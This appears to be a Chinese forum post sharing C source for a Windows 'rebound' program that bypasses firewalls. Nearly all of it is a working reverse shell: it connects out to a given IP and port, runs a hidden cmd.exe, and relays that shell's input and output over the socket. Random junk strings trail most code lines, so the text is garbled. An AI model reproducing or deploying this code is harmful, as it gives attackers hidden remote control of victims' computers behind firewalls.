这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MUMB\K*$
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/* ============================== X@%4N<
Rebound port in Windows NT nSq$,tk(
By wind,2006/7 ]t_ Wl1*|
===============================*/ fs8C ^Ik>~
#include Ba9"IXKH
#include lYy:A%yDT
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#pragma comment(lib,"wsock32.lib")
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void OutputShell(); /D;cm
SOCKET sClient; 5)p! }hWs
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; DU:+D}vl
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void main(int argc,char **argv) .Iv`B:4
{ -
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WSADATA stWsaData; "tmr
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int nRet; Hh &s.ja
SOCKADDR_IN stSaiClient,stSaiServer; *)Pb-c
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if(argc != 3) 2\G[U#~bi
{ 1N +ju"2R
printf("Useage:\n\rRebound DestIP DestPort\n"); 3IQ-2 X--
return; HVNX"`]"
} z<8WN[fB
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WSAStartup(MAKEWORD(2,2),&stWsaData); [B%:!Q)@
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \|$GB U
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stSaiClient.sin_family = AF_INET; *r iWrG
stSaiClient.sin_port = htons(0); (o1o);AO
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RHuc#b0
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I<hMS6$<LE
{ 57:27d0y
printf("Bind Socket Failed!\n"); 1"U.-I@
return; v|2+7N:[;
} lF)k4
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stSaiServer.sin_family = AF_INET; ]!cLFXa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); c~ Q5A
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g HKA:j`c
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $H1igYc
{ Ikgia:/-Z
printf("Connect Error!"); 42wZy|oqp
return; ;>jOB>b{h
} ShMP_?]P
OutputShell(); &p.7SPQ8/
} iU4Z9z!
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void OutputShell() BXLw
{ ~lH2#u>g
char szBuff[1024]; |}<!O@<|
SECURITY_ATTRIBUTES stSecurityAttributes;
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OSVERSIONINFO stOsversionInfo; {D4N=#tl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L$= a,$
STARTUPINFO stStartupInfo; 9a{9|p>L
char *szShell; pe-%`1iC0>
PROCESS_INFORMATION stProcessInformation; ^Rmrre`uU
unsigned long lBytesRead; G3de<?K.[V
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); :/i13FQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -A1:S'aN-
stSecurityAttributes.lpSecurityDescriptor = 0; "S3U]zw0_
stSecurityAttributes.bInheritHandle = TRUE; KL8WT6!RZ
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); {fu[&@XV
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q4ej7T8
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u|\K kk
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1DM$FG_Z-
stStartupInfo.wShowWindow = SW_HIDE; +(vL~
stStartupInfo.hStdInput = hReadPipe; gBE1aw;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^j]"5@f
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GetVersionEx(&stOsversionInfo); 0coRar?+b
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switch(stOsversionInfo.dwPlatformId) 1xMD
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case 1: 2%t!3F:
szShell = "command.com"; Z n]e2
break; xwu,<M
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default: D }EH9d
szShell = "cmd.exe"; W[.UM
break; DP4l
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} +ZeK,Y+Xy
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ? p^ ':@=
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send(sClient,szMsg,77,0); cUM#|K#6
while(1) Gm'Ch}E
{ p|R]/C0f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C'CdVDmX
if(lBytesRead) wfc+E9E
{ Op:7EdT#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); C**kJ
send(sClient,szBuff,lBytesRead,0); >`+-Yi$(\
} ^W<uc :L7
else fO$~jxR.
{ b:(*C
lBytesRead=recv(sClient,szBuff,1024,0); E9n7P'8
if(lBytesRead<=0) break; &|)
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); <D{_q.`vA
} A49HYX-l
} _K|513I
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return; O{`r.H1',
}